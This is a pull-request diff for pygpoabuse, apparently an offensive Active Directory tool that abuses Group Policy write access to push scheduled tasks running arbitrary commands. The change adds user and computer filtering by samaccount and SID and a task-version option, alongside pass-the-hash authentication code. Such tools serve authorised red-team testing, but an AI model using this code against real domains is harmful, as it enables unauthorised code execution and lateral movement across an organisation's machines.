Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ __pycache__/

# Virtual Environement
venv
.venv/

# Distribution / packaging
.Python
Expand Down
90 changes: 73 additions & 17 deletions pygpoabuse.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,8 @@
import logging
import re
import sys

from impacket.smbconnection import SMBConnection
from impacket.examples.utils import parse_credentials

from pygpoabuse import logger
from pygpoabuse.gpo import GPO

Expand All @@ -39,13 +37,54 @@
parser.add_argument('-ccache', action='store', help='ccache file name (must be in local directory)')
parser.add_argument('-f', action='store_true', help='Force add ScheduleTask')
parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)')
parser.add_argument('-FilterUser', action='count', default=0, help='Add user filter to GPO')
parser.add_argument('-FilterComputer', action='count', default=0, help='Add computer filter to GPO')
parser.add_argument('-Samaccount', action='store', help='Samaccount name from filter')
parser.add_argument('-SID', action='store', help='SID object')
parser.add_argument('-TV', action='store', default="1.4", help='Task version by default 1.4')
parser.add_argument('-file', type=str, help='File with Samaccoun:SID to add mor than one filter')

if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)

options = parser.parse_args()


if options.FilterComputer:
if getattr(options, 'Samaccount', None) and getattr(options, 'SID', None):
archivo = "NOT_NEEDING"

elif options.file:
try:
archivo = open (options.file, "r")
archivo.close()
except:
print("The input file doesn't exist")
exit()
else:
print("You need add the computer's SID and samaccount which is going to apply the filters or a file with samaccount:SID")
exit()
elif options.FilterUser:
if getattr(options, 'Samaccount', None) and getattr(options, 'SID', None):
archivo = "NOT_NEEDING"
elif options.file:
try:
archivo = open (options.file, "r")
archivo.close()
except:
print("The input file doesn't exist")
exit()
else:
print("You need add the user's SID and samaccount who is going to apply filters or a file with samaccount:SID")
exit()
else:
if getattr(options, 'Samaccount', None) and getattr(options, 'SID', None):
print("You need the flag -FilterUser or -FilterComputer if you want user -Samaccount and -SID for a filter")
exit()
user_sid="None"
samaccount="None"

if not options.gpo_id:
parser.print_help()
sys.exit(1)
Expand Down Expand Up @@ -96,16 +135,6 @@
url = '{}+ntlm-nt://{}\\{}:{}@{}'.format(protocol, domain, username, options.hashes.split(":")[1], dc_ip)
lmhash, nthash = options.hashes.split(":")


def get_session(address, target_ip="", username="", password="", lmhash="", nthash="", domain=""):
try:
smb_session = SMBConnection(address, target_ip)
smb_session.login(username, password, domain, lmhash, nthash)
return smb_session
except Exception as e:
logging.error("Connection error")
return False

try:
smb_session = SMBConnection(dc_ip, dc_ip)
if options.k:
Expand All @@ -117,6 +146,11 @@ def get_session(address, target_ip="", username="", password="", lmhash="", ntha
sys.exit(1)

try:
if options.file:
archivo = options.file
else:
archivo = "NOT_NEEDING"

gpo = GPO(smb_session)
task_name = gpo.update_scheduled_task(
domain=domain,
Expand All @@ -127,14 +161,36 @@ def get_session(address, target_ip="", username="", password="", lmhash="", ntha
powershell=options.powershell,
command=options.command,
gpo_type="user" if options.user else "computer",
filtercomputer=options.FilterComputer,
filteruser=options.FilterUser,
samaccount=options.Samaccount,
user_sid=options.SID,
task_version=options.TV,
archivo=archivo,
force=options.f
)
if task_name:
if gpo.update_versions(url, domain, options.gpo_id, gpo_type="user" if options.user else "computer",):
logging.info("Version updated")
if options.FilterUser or options.FilterComputer:
if gpo.update_versions(url, domain, options.gpo_id, "user" if options.user else "computer", options.Samaccount, options.SID, options.TV, archivo):
logging.info("Version updated")
else:
logging.error("Error while updating versions")
sys.exit(1)
else:
logging.error("Error while updating versions")
sys.exit(1)
logging.success("ScheduledTask {} created!".format(task_name))
if gpo.update_versions(url, domain, options.gpo_id, gpo_type="user" if options.user else "computer", samaccount="None", user_sid="None", task_version="1.3", archivo="NOT_NEEDING"):
logging.info("Version updated")
else:
logging.error("Error while updating versions")
sys.exit(1)
logging.success("ScheduledTask {} created!".format(task_name))
except Exception as e:
logging.error("An error occurred. Use -vv for more details", exc_info=True)

def get_session(address, target_ip="", username="", password="", lmhash="", nthash="", domain=""):
try:
smb_session = SMBConnection(address, target_ip)
smb_session.login(username, password, domain, lmhash, nthash)
return smb_session
except Exception as e:
logging.error("Connection error")
return False
11 changes: 4 additions & 7 deletions pygpoabuse/gpo.py
Original file line number Diff line number Diff line change
Expand Up @@ -107,9 +107,8 @@ async def update_ldap(self, url, domain, gpo_id, gpo_type="computer"):

return updated_version

def update_versions(self, url, domain, gpo_id, gpo_type):
def update_versions(self, url, domain, gpo_id, gpo_type, samaccount, user_sid, task_version, archivo):
updated_version = asyncio.run(self.update_ldap(url, domain, gpo_id, gpo_type))

if not updated_version:
return False

Expand Down Expand Up @@ -148,8 +147,7 @@ def _check_or_create(self, base_path, path):
return False
return True

def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", description="", powershell=False, command="", gpo_type="computer", force=False):

def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", description="", powershell=False, command="", gpo_type="computer", force=False,filteruser=0, filtercomputer=0, samaccount="None", user_sid="None", task_version="1.3", archivo="NOT_NEEDING"):
try:
tid = self._smb_session.connectTree("SYSVOL")
logging.debug("Connected to SYSVOL")
Expand Down Expand Up @@ -179,8 +177,7 @@ def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", descriptio
try:
fid = self._smb_session.openFile(tid, path)
st_content = self._smb_session.readFile(tid, fid, singleCall=False).decode("utf-8")
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description,
powershell=powershell, command=command, old_value=st_content)
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command, old_value=st_content, filteruser=filteruser, filtercomputer=filtercomputer, samaccount=samaccount, user_sid=user_sid, task_version=task_version,archivo=archivo)
tasks = st.parse_tasks(st_content)

if not force:
Expand All @@ -202,7 +199,7 @@ def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", descriptio
except:
logging.error("This user doesn't seem to have the necessary rights", exc_info=True)
return False
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command)
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command, filteruser=filteruser, filtercomputer=filtercomputer, samaccount=samaccount, user_sid=user_sid, task_version=task_version, archivo=archivo)
new_content = st.generate_scheduled_task_xml()

try:
Expand Down
Loading